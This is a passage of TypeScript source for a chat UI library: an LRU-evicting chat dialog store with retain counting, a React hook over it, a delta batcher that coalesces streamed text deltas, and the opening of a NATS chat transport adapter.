protection ends at the retain rather than on a timer.\n *\n * Deliberately far above `maxReducers`: a host may legitimately mount MORE\n * panels than the LRU cap (once their effects run, retained keys already let\n * the map exceed it), so capping the pending set at `maxReducers` would blank\n * exactly the panels round 10 fixed. It is a backstop against a caller that\n * reads a reducer once and drops it — or a concurrent render React discards\n * before any effect runs — not a per-commit budget. Past it, the oldest pending\n * key falls through to ordinary LRU.\n */\nexport const MAX_PENDING_RETAIN_KEYS = 256\n\nexport interface CreateChatDialogStoreOptions {\n  /** LRU cap on retained reducers (keys are `(dialogId, side)` pairs).\n   *  Values < 1 are clamped to 1. Default `DEFAULT_MAX_REDUCERS`. */\n  maxReducers?: number\n  /**\n   * Options applied to any reducer this store creates WITHOUT an explicit\n   * per-call `createOptions` — i.e. every reducer first materialized by\n   * `apply()` or `mutate()`. Hosts with non-default reducer semantics\n   * (`ownEchoIncludesAdmin`, `selfUserId`, approve/reject `callbacks`, …)\n   * MUST set this: creation options are consulted once, so a bare\n   * apply-created instance would keep those semantics missing for its whole\n   * lifetime, including for a later `getReducer(..., options)` caller.\n   */\n  defaultCreateOptions?: CreateReducerOptionsFn\n  /**\n   * Called when LRU eviction actually DROPS a key. The store knows this\n   * exactly; without publishing it, hosts are left inferring eviction by\n   * comparing reducer OBJECT IDENTITY across `getReducer` calls and then\n   * suppressing the \"pristine empty\" snapshot that a silently-recreated\n   * reducer returns — archaeology about a fact this callback states outright.\n   *\n   * Fires only for LRU eviction. Host-initiated `remove()` needs no\n   * notification: the caller already knows which key it dropped.\n   *\n   * Called AFTER the key is gone, from `getReducer` (i.e. potentially during a\n   * React render) — treat it as a \"schedule a refetch/rehydrate\" signal, not a\n   * place to set state synchronously.\n   *\n   * `parked` carries the dropped reducer's non-refetchable state so the host\n   * can restore it on the recreated instance (`initializeWithState(messages,\n   * { approvalStatuses, lastAppliedSeq, pendingEchoes })`). Refetching\n   * messages alone is NOT\n   * equivalent: a recreated reducer starts with `approvalStatuses = {}` and\n   * `lastAppliedSeq = -Infinity`, so a resolved approval whose APPROVAL_RESULT\n   * row is not in the refetched history page re-renders as ACTIONABLE (the\n   * exact hazard `resetForDialogSwitch` preserves that map to avoid), and a\n   * replay from the host's own cursor re-applies events the dropped instance\n   * had already consumed.\n   */\n  onEvict?: (\n    dialogId: string,\n    side: ChatDialogSide,\n    parked: EvictedReducerState,\n  ) => void\n}\n\n/**\n * Snapshot of an LRU-evicted reducer's state, captured just before the\n * instance is dropped. Everything here either cannot be refetched\n * (`lastAppliedSeq`) or is not reliably present in a refetched history page\n * (`approvalStatuses`); `messages` rides along so a host that keeps its own\n * copy does not have to.\n */\nexport interface EvictedReducerState {\n  messages: ChatReducerState['messages']\n  approvalStatuses: ChatReducerState['approvalStatuses']\n  /** `-Infinity` when the instance never applied a seq-carrying event. */\n  lastAppliedSeq: number\n  /**\n   * Optimistic-echo entries still armed at eviction time. A key dropped\n   * between `pushOptimisticSend` and its `MESSAGE_REQUEST` echo would\n   * otherwise leave the recreated reducer with nothing armed, and the echo\n   * renders a DUPLICATE user bubble. Replay via\n   * `initializeWithState(messages, { pendingEchoes })`; the reducer drops\n   * entries already past `OWN_ECHO_AUTHOR_TTL_MS`. Empty for a key with no\n   * send in flight (the common case).\n   */\n  pendingEchoes: readonly PendingEcho[]\n}\n\n/** Shared, frozen \"no reducer for this key\" snapshot. ONE instance, so\n *  repeated `getSnapshot` reads of an absent key are referentially stable\n *  for `useSyncExternalStore`. */\nconst EMPTY_STATE: ChatReducerState = Object.freeze({\n  messages: Object.freeze([]) as unknown as ChatReducerState['messages'],\n  streamingPhase: 'idle',\n  turnMeta: Object.freeze({\n    meta: new Map(),\n    sources: new Map(),\n    sendCount: 0,\n  }) as ChatReducerState['turnMeta'],\n  dialogTokenUsage: null,\n  liveModel: null,\n  approvalStatuses: Object.freeze({}) as ChatReducerState['approvalStatuses'],\n}) as ChatReducerState\n\n/** Shared frozen empty list for a key with no send in flight. */\nconst EMPTY_PENDING_ECHOES: readonly PendingEcho[] = Object.freeze([])\n\nconst KEY_SEP = '\\u0000'\nconst keyOf = (dialogId: string, side: ChatDialogSide) => `${dialogId}${KEY_SEP}${side}`\n\nexport function createChatDialogStore(\n  options: CreateChatDialogStoreOptions = {},\n): ChatDialogStore {\n  const maxReducers = Math.max(1, options.maxReducers ?? DEFAULT_MAX_REDUCERS)\n  const defaultCreateOptions = options.defaultCreateOptions\n  const onEvict = options.onEvict\n  // Insertion order IS the LRU order: `touch` re-inserts at the tail, so the\n  // FIRST key is always the least-recently-used one.\n  const reducers = new Map<string, ChatStreamReducer>()\n  const listeners = new Set<() => void>()\n  /** key → live retain count (see EVICTION SAFETY #1). */\n  const retained = new Map<string, number>()\n\n  function notify(): void {\n    for (const listener of listeners) listener()\n  }\n\n  /** Notify OUTSIDE the current task — `getReducer` (and therefore eviction)\n   *  runs during React's render phase. See EVICTION SAFETY #4. */\n  function notifyDeferred(): void {\n    if (typeof queueMicrotask === 'function') queueMicrotask(notify)\n    else Promise.resolve().then(notify)\n  }\n\n  /**\n   * Keys handed out by a PUBLIC `getReducer` whose `retain()` has not landed\n   * yet. ALL of them are protected from eviction, not just the one being\n   * inserted right now.\n   *\n   * `useChatStreamReducer` calls `getReducer` during RENDER (to hand the\n   * component its reducer) and `retain()` in an EFFECT, so React can render N\n   * panels with N distinct keys before a single retain lands. Protecting only\n   * the key being inserted let render #(cap+1) evict the key render #1 had\n   * just created: panel #1 already holds that reducer object, but\n   * `getSnapshot` is a pure map read, so its thread renders as `EMPTY_STATE`\n   * forever and its later `retain()` pins a key that no longer exists — a\n   * blank thread unless the host re-seeds from `onEvict`.\n   *\n   * PROTECTION ENDS AT THE FIRST `retain()` (`retainKey` deletes the entry),\n   * NOT on a timer. This set exists solely to stand in for the retain that has\n   * not happened yet, so the retain itself is the only non-guessed end of the\n   * window — and from that moment the retain COUNT protects the key instead.\n   * The previous microtask window assumed a render/commit pass never yields to\n   * the microtask queue; under CONCURRENT rendering React time-slices and\n   * resumes in a later macrotask (microtasks drain in between), so keys created\n   * before the yield silently lost protection mid-render and the exact\n   * blank-thread defect above could recur.\n   *\n   * BOUND: a caller that reads a reducer once and drops it never retains, so\n   * the set is FIFO-capped at `MAX_PENDING_RETAIN_KEYS`; the oldest pending key\n   * falls through to ordinary LRU when a newer one arrives. Hence\n   * `reducers.size <= max(maxReducers, R + MAX_PENDING_RETAIN_KEYS)` where `R`\n   * counts retained / mid-stream keys — the same \"protected keys may exceed the\n   * cap\" rule that has always applied to retained ones. Eviction itself stays\n   * SYNCHRONOUS, and the loop always catches back up because `overBy` is\n   * recomputed from `reducers.size`.\n   *\n   * Event-phase creations (`apply()` / `mutate()` first-touching a key) are\n   * deliberately NOT grouped: nobody holds those instances past the call, so a\n   * burst of events across many dialogs must still evict down to the cap\n   * within the same task. They protect only the key currently being written,\n   * via `evictExcess`'s `protectKey`.\n   */\n  const pendingRetain = new Set<string>()\n\n  function markPendingRetain(key: string): void {\n    pendingRetain.add(key)\n    if (pendingRetain.size <= MAX_PENDING_RETAIN_KEYS) return\n    // Set iteration is insertion-ordered: the oldest still-unretained key is\n    // the one least likely to belong to a live consumer.\n    const oldest = pendingRetain.values().next().value\n    if (oldest !== undefined) pendingRetain.delete(oldest)\n  }\n\n  /** Mark `key` most-recently-used. */\n  function touch(key: string): void {\n    const reducer = reducers.get(key)\n    if (reducer === undefined) return\n    reducers.delete(key)\n    reducers.set(key, reducer)\n  }\n\n  /** A key is evictable only when nothing pins it and its turn is finished. */\n  function isEvictable(key: string): boolean {\n    if ((retained.get(key) ?? 0) > 0) return false\n    const reducer = reducers.get(key)\n    return reducer === undefined || reducer.state.streamingPhase === 'idle'\n  }\n\n  /** Evict least-recently-used EVICTABLE keys down to the cap, through the\n   *  same drop path as `remove()`. Protected keys (retained / mid-stream) are\n   *  skipped, so the map can legitimately sit above `maxReducers` for as long\n   *  as that many live threads exist. Returns true when anything was\n   *  evicted.\n   *\n   *  Keys awaiting their first `retain()` (`pendingRetain`) are protected as a\n   *  GROUP: they are unretained (the hook retains in an effect, i.e. after\n   *  render) and idle, so without that guard a full map of protected older keys\n   *  would walk the loop all the way to the tail and drop a brand-new entry —\n   *  `getReducer` would return a DETACHED reducer whose mutations no snapshot\n   *  can ever see (`getSnapshot` is a pure map read, so that key returns\n   *  `EMPTY_STATE` forever). See `pendingRetain` for why every key still\n   *  awaiting a retain is protected, not just the one being inserted. */\n  function evictExcess(protectKey: string): boolean {\n    let evicted = false\n    let overBy = reducers.size - maxReducers\n    if (overBy <= 0) return false\n    for (const key of [...reducers.keys()]) {\n      if (overBy <= 0) break\n      if (key === protectKey || pendingRetain.has(key)) continue\n      if (!isEvictable(key)) continue\n      // Capture BEFORE the drop — after `delete` the instance is unreachable\n      // and its approval statuses / seq cursor would be lost with it.\n      const dropped = onEvict ? reducers.get(key) : undefined\n      reducers.delete(key)\n      evicted = true\n      overBy -= 1\n      if (onEvict) {\n        const sep = key.indexOf(KEY_SEP)\n        onEvict(key.slice(0, sep), key.slice(sep + 1), {\n          messages: dropped?.state.messages ?? EMPTY_STATE.messages,\n          approvalStatuses: dropped?.state.approvalStatuses ?? EMPTY_STATE.approvalStatuses,\n          lastAppliedSeq: dropped?.getLastAppliedSeq() ?? Number.NEGATIVE_INFINITY,\n          pendingEchoes: dropped?.getPendingEchoes() ?? EMPTY_PENDING_ECHOES,\n        })\n      }\n    }\n    return evicted\n  }\n\n  /**\n   * @param groupProtect true for PUBLIC (render-phase) calls, whose caller\n   * keeps the returned instance until its `retain()` lands — see\n   * `pendingRetain`. Event-phase callers (`apply` / `mutate`) pass false: they\n   * use the reducer within the call and must not defer eviction of a burst.\n   */\n  function getReducerInternal(\n    dialogId: string,\n    side: ChatDialogSide = DEFAULT_DIALOG_SIDE,\n    createOptions?: CreateReducerOptionsFn,\n    groupProtect = true,\n  ): ChatStreamReducer {\n    const key = keyOf(dialogId, side)\n    let reducer = reducers.get(key)\n    if (!reducer) {\n      // `apply()` / `mutate()` can be the FIRST toucher of a key (an event for\n      // a dialog no component has rendered yet). Without the store-level\n      // default they would create a reducer missing the host's\n      // `ownEchoIncludesAdmin` / `callbacks` / `batchApprovalsEnabled`, and a\n      // later `getReducer(..., options)` would hand back that mis-configured\n      // instance (create-options are consulted at creation only).\n      const base = (createOptions ?? defaultCreateOptions)?.(dialogId, side) ?? {}\n      const userOnChange = base.onChange\n      reducer = createChatStreamReducer({\n        ...base,\n        onChange: () => {\n          userOnChange?.()\n          notify()\n        },\n      })\n      reducers.set(key, reducer)\n      // An already-retained key needs no stand-in — it is protected by its\n      // retain count, and marking it would burn a slot of the bounded set.\n      if (groupProtect && (retained.get(key) ?? 0) === 0) markPendingRetain(key)\n      if (evictExcess(key)) notifyDeferred()\n    } else {\n      touch(key)\n    }\n    return reducer\n  }\n\n  const getReducer: ChatDialogStore['getReducer'] = (dialogId, side, createOptions) =>\n    getReducerInternal(dialogId, side, createOptions, true)\n\n  function otherSides(dialogId: string, side: ChatDialogSide): ChatStreamReducer[] {\n    const prefix = `${dialogId}${KEY_SEP}`\n    const selfKey = keyOf(dialogId, side)\n    const out: ChatStreamReducer[] = []\n    for (const [key, reducer] of reducers) {\n      if (key !== selfKey && key.startsWith(prefix)) out.push(reducer)\n    }\n    return out\n  }\n\n  function apply(dialogId: string, side: ChatDialogSide, event: ChatStreamEvent): void {\n    const reducer = getReducerInternal(dialogId, side, undefined, false)\n    reducer.apply(event)\n\n    // Cross-side fan-out — the ONLY two operations that cross sides.\n    if (event.type === 'approval-resolved' && event.requestId) {\n      for (const other of otherSides(dialogId, side)) {\n        other.projectApprovalResolution(event.requestId, event.status, event.resolvedByName)\n      }\n    } else if (event.type === 'tool-execution') {\n      for (const other of otherSides(dialogId, side)) {\n        other.projectToolExecution({ type: 'tool_execution', data: event.data })\n      }\n    }\n  }\n\n  function mutate<T>(\n    dialogId: string,\n    side: ChatDialogSide,\n    fn: (reducer: ChatStreamReducer) => T,\n  ): T {\n    return fn(getReducerInternal(dialogId, side, undefined, false))\n  }\n\n  function subscribe(listener: () => void): () => void {\n    listeners.add(listener)\n    return () => {\n      listeners.delete(listener)\n    }\n  }\n\n  /** PURE read — deliberately does NOT go through `getReducer`, which would\n   *  insert into the module-lived map on every miss (unbounded growth under\n   *  SSR) and make a React snapshot read mutate the store. Callers that need\n   *  a reducer to exist call `getReducer` explicitly first (the\n   *  `useChatStreamReducer` hook does exactly that, during render). */\n  function getSnapshot(\n    dialogId: string,\n    side: ChatDialogSide = DEFAULT_DIALOG_SIDE,\n  ): ChatReducerState {\n    return reducers.get(keyOf(dialogId, side))?.state ?? EMPTY_STATE\n  }\n\n  function getServerSnapshot(): ChatReducerState {\n    return EMPTY_STATE\n  }\n\n  /** Notifies only when something was ACTUALLY dropped — an unconditional\n   *  notify wakes every subscriber for a no-op removal, and the snapshot each\n   *  would read is byte-identical.\n   *\n   *  Deliberately does NOT touch `retained` / `policyRetains`. A retain is a\n   *  claim on the KEY, not on the instance (`retain()` never implies creation),\n   *  and `remove()` is routinely followed by a re-render that recreates the key\n   *  — a still-mounted consumer must keep protecting it across that round trip.\n   *  Dropping the counter here would also desync the outstanding release\n   *  closures: with two live retainers, the first release would decrement from\n   *  the `?? 1` fallback straight to 0 and unpin a key the second consumer is\n   *  still holding. The entries are bounded by live retainers (never by removed\n   *  dialogs) and are deleted when the last release runs. */\n  function remove(dialogId: string, side?: ChatDialogSide): void {\n    let removed = false\n    if (side !== undefined) {\n      removed = reducers.delete(keyOf(dialogId, side))\n    } else {\n      const prefix = `${dialogId}${KEY_SEP}`\n      for (const key of [...reducers.keys()]) {\n        if (key.startsWith(prefix) && reducers.delete(key)) removed = true\n      }\n    }\n    if (removed) notify()\n  }\n\n  function retainKey(key: string): () => void {\n    // The retain this key was waiting for has landed: the refcount below now\n    // protects it, so the stand-in must go (leaving it would keep an unmounted\n    // key pinned and hold a slot of the bounded `pendingRetain` set).\n    pendingRetain.delete(key)\n    retained.set(key, (retained.get(key) ?? 0) + 1)\n    let released = false\n    return () => {\n      if (released) return\n      released = true\n      const next = (retained.get(key) ?? 1) - 1\n      if (next <= 0) retained.delete(key)\n      else retained.set(key, next)\n    }\n  }\n\n  function retain(dialogId: string, side: ChatDialogSide = DEFAULT_DIALOG_SIDE): () => void {\n    return retainKey(keyOf(dialogId, side))\n  }\n\n  /** Store-level policy retains, keyed the same way. Held separately from the\n   *  per-consumer `retain()` handles so the two never clobber each other. */\n  const policyRetains = new Map<string, () => void>()\n\n  function setRetained(keys: Array<{ dialogId: string; side?: ChatDialogSide }>): void {\n    const next = new Set(keys.map((k) => keyOf(k.dialogId, k.side ?? DEFAULT_DIALOG_SIDE)))\n    // Retain the additions BEFORE releasing the removals: a key in both sets is\n    // simply left alone, and nothing in the new set is ever unpinned in between.\n    for (const key of next) {\n      if (!policyRetains.has(key)) policyRetains.set(key, retainKey(key))\n    }\n    for (const [key, release] of [...policyRetains]) {\n      if (next.has(key)) continue\n      release()\n      policyRetains.delete(key)\n    }\n  }\n\n  return {\n    getReducer,\n    apply,\n    mutate,\n    subscribe,\n    getSnapshot,\n    getServerSnapshot,\n    remove,\n    retain,\n    setRetained,\n  }\n}\n","'use client'\n\n/**\n * useChatStreamReducer — thin React wrapper over a `ChatDialogStore` side.\n *\n *   - `useSyncExternalStore` over the store (snapshot identity is stable\n *     between mutations, so untouched renders bail out);\n *   - APPEND-ONLY DELTA BATCHING: delegated wholesale to the framework-free\n *     `createDeltaBatcher` (same module) so a non-React host can share the\n *     exact same coalescing/flush policy instead of re-implementing it.\n *   - Any NON-delta event force-flushes the pending batch first, so ordering\n *     is preserved and stream completion (`turn-end`, errors, approval\n *     frames) always lands on fully-applied delta state. Adapters whose\n *     transport has no terminal event (SSE) call `flushDeltas()` explicitly\n *     before their end-of-turn command.\n */\n\nimport { useCallback, useEffect, useMemo, useRef, useSyncExternalStore } from 'react'\nimport type { ChatStreamEvent } from '../../../chat-protocol/events'\nimport {\n  DEFAULT_DIALOG_SIDE,\n  type ChatDialogSide,\n  type ChatDialogStore,\n} from './chat-dialog-store'\nimport { createDeltaBatcher, type DeltaBatcher } from './delta-batcher'\nimport type {\n  ChatReducerState,\n  ChatStreamReducer,\n  ChatStreamReducerOptions,\n} from './chat-stream-reducer'\n\ninterface DialogKey {\n  dialogId: string\n  side: ChatDialogSide\n}\n\nexport interface UseChatStreamReducerOptions {\n  store: ChatDialogStore\n  dialogId: string\n  side?: ChatDialogSide\n  /** Consulted once, when this (dialogId, side) reducer is first created. */\n  createReducerOptions?: () => ChatStreamReducerOptions\n}\n\nexport interface UseChatStreamReducerReturn {\n  state: ChatReducerState\n  /** Apply a decoded event (deltas are batched; everything else immediate). */\n  applyEvent: (event: ChatStreamEvent) => void\n  /** Synchronously apply any pending delta batch. */\n  flushDeltas: () => void\n  /** Run reducer commands (adapter-driven, non-wire mutations). */\n  mutate: <T>(fn: (reducer: ChatStreamReducer) => T) => T\n  reducer: ChatStreamReducer\n}\n\nexport function useChatStreamReducer({\n  store,\n  dialogId,\n  side = DEFAULT_DIALOG_SIDE,\n  createReducerOptions,\n}: UseChatStreamReducerOptions): UseChatStreamReducerReturn {\n  const optionsRef = useRef(createReducerOptions)\n  optionsRef.current = createReducerOptions\n\n  // Ensure the reducer exists before the first snapshot read.\n  const reducer = store.getReducer(dialogId, side, () => optionsRef.current?.() ?? {})\n\n  const getSnapshot = useCallback(() => store.getSnapshot(dialogId, side), [store, dialogId, side])\n  // Distinct server getter: `getSnapshot` is a pure read of a CLIENT-lived\n  // map, so reusing it for SSR would render a per-request-meaningless value\n  // (and, before it was made pure, silently accumulate reducers per request).\n  const getServerSnapshot = useCallback(() => store.getServerSnapshot(), [store])\n  const subscribe = useCallback((listener: () => void) => store.subscribe(listener), [store])\n  const state = useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot)\n\n  // Pin this key for as long as the hook is mounted, so the store's LRU can\n  // never evict a reducer a live panel is rendering.\n  useEffect(() => store.retain(dialogId, side), [store, dialogId, side])\n\n  // ── Delta batch ──────────────────────────────────────────────────────────\n  // Identity-stable key object: the batcher compares keys with `Object.is`,\n  // so it must only change when the (dialogId, side) VALUES change.\n  const keyRef = useRef<DialogKey>({ dialogId, side })\n  if (keyRef.current.dialogId !== dialogId || keyRef.current.side !== side) {\n    keyRef.current = { dialogId, side }\n  }\n  const storeRef = useRef(store)\n  storeRef.current = store\n\n  const batcherRef = useRef<DeltaBatcher<DialogKey> | null>(null)\n  if (batcherRef.current === null) {\n    batcherRef.current = createDeltaBatcher<DialogKey>({\n      applyOne: (event, key) => {\n        if (key) storeRef.current.apply(key.dialogId, key.side, event)\n      },\n    })\n  }\n  const batcher = batcherRef.current\n\n  const flushDeltas = useCallback(() => batcher.flush(), [batcher])\n\n  const applyEvent = useCallback(\n    (event: ChatStreamEvent) => {\n      // `push` flushes on key change and returns false for non-delta events;\n      // those flush the batch first (ordering) and apply synchronously, so\n      // completion state always lands on fully-applied deltas.\n      if (batcher.push(event, keyRef.current)) return\n      batcher.flush()\n      store.apply(dialogId, side, event)\n    },\n    [batcher, store, dialogId, side],\n  )\n\n  // Flush on unmount so a torn-down panel doesn't drop its tail deltas.\n  useEffect(() => () => batcher.dispose(), [batcher])\n\n  const mutate = useCallback(\n    <T,>(fn: (reducer: ChatStreamReducer) => T): T => store.mutate(dialogId, side, fn),\n    [store, dialogId, side],\n  )\n\n  return useMemo(\n    () => ({ state, applyEvent, flushDeltas, mutate, reducer }),\n    [state, applyEvent, flushDeltas, mutate, reducer],\n  )\n}\n","/**\n * createDeltaBatcher — framework-free, append-only batching of the\n * `text-delta` / `thinking-delta` / `guide-delta` events.\n *\n * WHY THIS IS SHARED (and not a hook-private detail): every host that drives a\n * `ChatStreamReducer` from a raw transport needs the SAME batching, and a\n * copy-paste of it drifts. The React wrapper (`useChatStreamReducer`) and any\n * non-React mirror in a product app both consume this one implementation.\n *\n * Behaviour:\n *   - `push(event, key)` queues delta events and returns true; anything else\n *     returns false so the caller can flush + apply it synchronously (ordering:\n *     completion state must always land on fully-applied deltas).\n *   - CONSECUTIVE same-type deltas are COALESCED into one event (the reducer's\n *     append semantics distribute over concatenation), so a 60-delta/sec turn\n *     costs ONE `applyOne` per frame instead of 60. `text-delta` additionally\n *     requires a matching `leading` flag before coalescing.\n *   - A flush is scheduled on `requestAnimationFrame` when available, with a\n *     timer fallback that is ALWAYS armed (rAF pauses in background tabs, and a\n *     hidden chat panel must still keep its thread current).\n *   - `key` is an opaque routing token handed back to `applyOne`. When it\n *     changes, the pending batch is flushed against the PREVIOUS key first, so\n *     deltas never land on the wrong dialog/side.\n */\n\nimport type {\n  ChatStreamEvent,\n  GuideDeltaEvent,\n  TextDeltaEvent,\n  ThinkingDeltaEvent,\n} from '../../../chat-protocol/events'\n\nexport const DELTA_FLUSH_FALLBACK_MS = 50\n\nexport type DeltaEvent = TextDeltaEvent | ThinkingDeltaEvent | GuideDeltaEvent\n\nexport function isDeltaEvent(event: ChatStreamEvent): event is DeltaEvent {\n  return (\n    event.type === 'text-delta' ||\n    event.type === 'thinking-delta' ||\n    event.type === 'guide-delta'\n  )\n}\n\nexport interface CreateDeltaBatcherOptions<K> {\n  /** Apply one (possibly coalesced) delta against `key`'s reducer. */\n  applyOne: (event: DeltaEvent, key: K | undefined) => void\n  /** Called after a flush that applied at least one delta. */\n  onFlushed?: (appliedCount: number) => void\n  /** Timer fallback in ms (default `DELTA_FLUSH_FALLBACK_MS`). */\n  fallbackMs?: number\n}\n\nexport interface DeltaBatcher<K = unknown> {\n  /**\n   * Queue `event` when it is a delta (returns true). Non-delta events are NOT\n   * queued and return false — the caller flushes and applies them itself.\n   */\n  push(event: ChatStreamEvent, key?: K): boolean\n  /** Synchronously apply the pending batch and cancel any scheduled flush. */\n  flush(): void\n  /** Flush and release timers — call on teardown so tail deltas aren't lost. */\n  dispose(): void\n  /** Queued (post-coalescing) delta count. Test/diagnostic surface. */\n  readonly pendingCount: number\n}\n\nexport function createDeltaBatcher<K = unknown>({\n  applyOne,\n  onFlushed,\n  fallbackMs = DELTA_FLUSH_FALLBACK_MS,\n}: CreateDeltaBatcherOptions<K>): DeltaBatcher<K> {\n  let pending: DeltaEvent[] = []\n  let pendingKey: K | undefined\n  let hasKey = false\n  let raf: number | null = null\n  let timer: ReturnType<typeof setTimeout> | null = null\n\n  function cancelScheduled(): void {\n    if (raf !== null) {\n      if (typeof cancelAnimationFrame === 'function') cancelAnimationFrame(raf)\n      raf = null\n    }\n    if (timer !== null) {\n      clearTimeout(timer)\n      timer = null\n    }\n  }\n\n  function flush(): void {\n    cancelScheduled()\n    if (pending.length === 0) return\n    const batch = pending\n    pending = []\n    const key = pendingKey\n    for (const delta of batch) applyOne(delta, key)\n    onFlushed?.(batch.length)\n  }\n\n  function schedule(): void {\n    if (raf !== null || timer !== null) return\n    if (typeof requestAnimationFrame === 'function') {\n      raf = requestAnimationFrame(() => {\n        raf = null\n        flush()\n      })\n    }\n    // Timer fallback ALWAYS armed: rAF pauses in background tabs.\n    timer = setTimeout(() => {\n      timer = null\n      flush()\n    }, fallbackMs)\n  }\n\n  return {\n    push(event, key) {\n      // A pending batch belonging to a previous key must land on ITS reducer\n      // before we start queueing for the new one.\n      if (!hasKey || !Object.is(pendingKey, key)) {\n        flush()\n        pendingKey = key\n        hasKey = true\n      }\n      if (!isDeltaEvent(event)) return false\n      const tail = pending[pending.length - 1]\n      // NEVER coalesce a delta whose seq does not ADVANCE past the tail's.\n      // Coalescing stamps the merged entry with the LAST pushed seq, so a\n      // redelivered / out-of-order delta arriving inside one frame would both\n      // concatenate its text (the reducer never sees it as a duplicate) and\n      // REWIND the batch's seq below an already-applied one. Pushing it as its\n      // own entry hands it to the reducer intact, where the `seq <=\n      // lastAppliedSeq` gate drops it — the batcher must not depend on hosts\n      // gating at dispatch.\n      // A seq-LESS tail is not \"always advancing\": merging a seq-BEARING delta\n      // onto it stamps the merged entry with that seq, which the reducer's gate\n      // then treats as the batch's position — a redelivered delta could rewind\n      // it. Coalesce onto a seq-less tail only when the incoming delta is\n      // likewise seq-less (a uniformly seq-less stream, e.g. SSE).\n      const seqAdvances =\n        tail?.seq == null ? event.seq == null : event.seq != null && event.seq > tail.seq\n      if (\n        tail &&\n        seqAdvances &&\n        tail.type === event.type &&\n        (tail.type !== 'text-delta' ||\n          (tail as TextDeltaEvent).leading === (event as TextDeltaEvent).leading)\n      ) {\n        pending[pending.length - 1] = {\n          ...tail,\n          text: tail.text + event.text,\n          ...(event.seq != null ? { seq: event.seq } : {}),\n        } as DeltaEvent\n      } else {\n        pending.push({ ...event })\n      }\n      schedule()\n      return true\n    },\n    flush,\n    dispose() {\n      flush()\n      cancelScheduled()\n    },\n    get pendingCount() {\n      return pending.length\n    },\n  }\n}\n","'use client'\n\n/**\n * useNatsChatAdapter — the NATS/Mingo-mode transport adapter for the\n * unified chat surface. Companion of `useSseChatAdapter` (Guide mode);\n * both implement the same `UnifiedChatState` contract so the public\n * `useChat({ mode })` can dispatch between them with zero shell-side\n * branching.\n *\n * Composition layers (in order from low to high):\n *\n *   ┌──────────────────────────────────────────────────────────────┐\n *   │ useNatsDialogSubscription   live tail of agent events        │\n *   │            ↓                                                 │\n *   │   onEvent → decodeNatsChunk → ChatStreamEvent                │\n *   │            ↓                                                 │\n *   │ createChatStreamReducer     THE master accumulation path     │\n *   │   (via ChatDialogStore + useChatStreamReducer wrapper —      │\n *   │    messages, phase, token usage, approvals all live there)   │\n *   │                                                              │\n *   │ useChunkCatchup             back-fill missed chunks after    │\n *   │                              activation / reconnect          │\n *   │                                                              │\n *   │ config.publishUserMessage   consumer-owned send (HTTP/NATS)  │\n *   └──────────────────────────────────────────────────────────────┘\n *\n * Phase 3 of the chat unification: the adapter's local message-mutation\n * layer (`updateTrailingAssistant` / `appendToTrailingAssistant` /\n * `upsertTrailingCompaction` / `applyToolExecutionToMessages` and the\n * chunk-callback body that drove them) is DELETED — those semantics live in\n * `../stream/chat-stream-reducer` + `../stream/message-mutations` now. The\n * adapter owns only what is genuinely transport/host wiring: dialog-list\n * management, history fetch, catchup orchestration, the NATS subscription,\n * and the publish path.\n *\n * Two operating modes, distinguished by the presence of `fetchDialogs`:\n *\n *   1. **Bare-transport mode** (current Tauri Fae Chat usage):\n *      consumer supplies `config.dialogId` explicitly and owns dialog\n *      management above the adapter.\n *\n *   2. **Managed-dialog mode** (openframe-frontend, EmbeddableChat\n *      sidebar): consumer supplies `fetchDialogs`, `fetchDialogMessages`,\n *      `createDialog`, etc. and the adapter owns the dialog state machine.\n *\n * The `active` option gates the live subscription so the unified chat\n * shell can keep both adapters mounted while only paying network cost\n * for the currently-displayed mode.\n */\n\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react'\nimport { useNatsDialogSubscription } from './use-nats-dialog-subscription'\nimport { useChunkCatchup } from './use-chunk-catchup'\nimport { decodeNatsChunk } from '../../../chat-protocol/nats-decoder'\nimport { createChatDialogStore, DEFAULT_DIALOG_SIDE } from '../stream/chat-dialog-store'\nimport { useChatStreamReducer } from '../stream/use-chat-stream-reducer'\nimport { processHistoricalMessagesWithErrors } from '../utils/process-historical-messages'\nimport { extractIncompleteTailState } from '../utils/extract-incomplete-message-state'\nimport { buildDiscussPrompt } from '../utils/discuss-ref-prompt'\nimport type {\n  ChunkData,\n  FetchChunksFunction,\n  HistoricalMessage,\n  MessageProcessingOptions,\n  MessageSegment,\n  NatsMessageType,\n  ChatApprovalStatus,\n} from '../types'\nimport type {\n  ChatConnectionState,\n  DialogTokenUsage,\n  UnifiedChatState,\n  UnifiedChatMessage,\n  UnifiedSendMessageOptions,\n} from '../types/unified-chat-state.types'\nimport type { DialogItem } from '../types/component.types'\nimport type { ChatRef } from '../chat-ref.types'\n\n// Legacy public home of the pure message-mutation helpers (\"exported for\n// host reuse\"). Canonical implementation moved to the stream module in\n// Phase 3 — these re-exports keep the import path stable until Phase 4\n// migrates consumers.\nexport {\n  appendToTrailingAssistant,\n  applyToolExecutionToMessages,\n  upsertTrailingCompaction,\n} from '../stream/message-mutations'\n\n// =============================================================================\n// Config + options\n// =============================================================================\n\n/** Page-fetch parameters passed to `fetchDialogs`. The adapter owns the\n *  cursor — the host only resolves it against the backend. */\nexport interface FetchDialogsParams {\n  cursor?: string\n  limit?: number\n  search?: string\n}\n\n/** Successful `fetchDialogs` response. `nextCursor: null` means \"no more\n *  pages\" — used to terminate the infinite-scroll observer in the\n *  sidebar. */\nexport interface FetchDialogsResult {\n  dialogs: DialogItem[]\n  nextCursor: string | null\n}\n\n/** Page-fetch parameters passed to `fetchDialogMessages`. */\nexport interface FetchDialogMessagesParams {\n  dialogId: string\n  cursor?: string\n  limit?: number\n}\n\n/** Successful `fetchDialogMessages` response. `tokenUsage` is optional —\n *  some backends only attach it to the dialog header query, in which case\n *  hosts can either include it on the first page only (will populate the\n *  ModelDisplay readout) or fold it in via a separate update path. */\nexport interface FetchDialogMessagesResult {\n  messages: HistoricalMessage[]\n  nextCursor: string | null\n  tokenUsage?: DialogTokenUsage | null\n}\n\n/**\n * Consumer-supplied configuration for the NATS chat adapter.\n *\n * Every field except `getNatsWsUrl` + `publishUserMessage` is optional —\n * the lib does not assume a particular backend protocol or auth scheme.\n * Hosts wire these up against their own OpenFrame deployment.\n */\nexport interface UseNatsChatAdapterConfig {\n  /**\n   * Active conversation/dialog id. When omitted (`undefined`) the\n   * adapter manages its own active dialog id internally — the host\n   * drives selection through `selectDialog` / `startNewDialog`. When\n   * explicitly set (including `null`) the adapter treats this as\n   * controlled mode and uses the value verbatim. v0 consumers (the\n   * Tauri Fae Chat client) pass an explicit id here and own the\n   * 